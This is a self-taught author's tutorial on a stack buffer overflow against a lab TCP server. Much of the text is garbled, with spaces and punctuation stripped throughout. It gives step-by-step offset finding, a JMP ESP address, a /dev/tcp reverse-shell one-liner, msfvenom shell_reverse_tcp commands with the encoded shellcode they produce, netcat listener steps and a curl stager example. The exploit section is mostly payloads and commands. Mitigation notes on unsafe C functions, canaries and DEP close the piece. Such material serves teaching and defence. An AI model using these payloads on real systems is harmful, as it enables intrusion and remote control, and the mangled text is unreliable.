LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
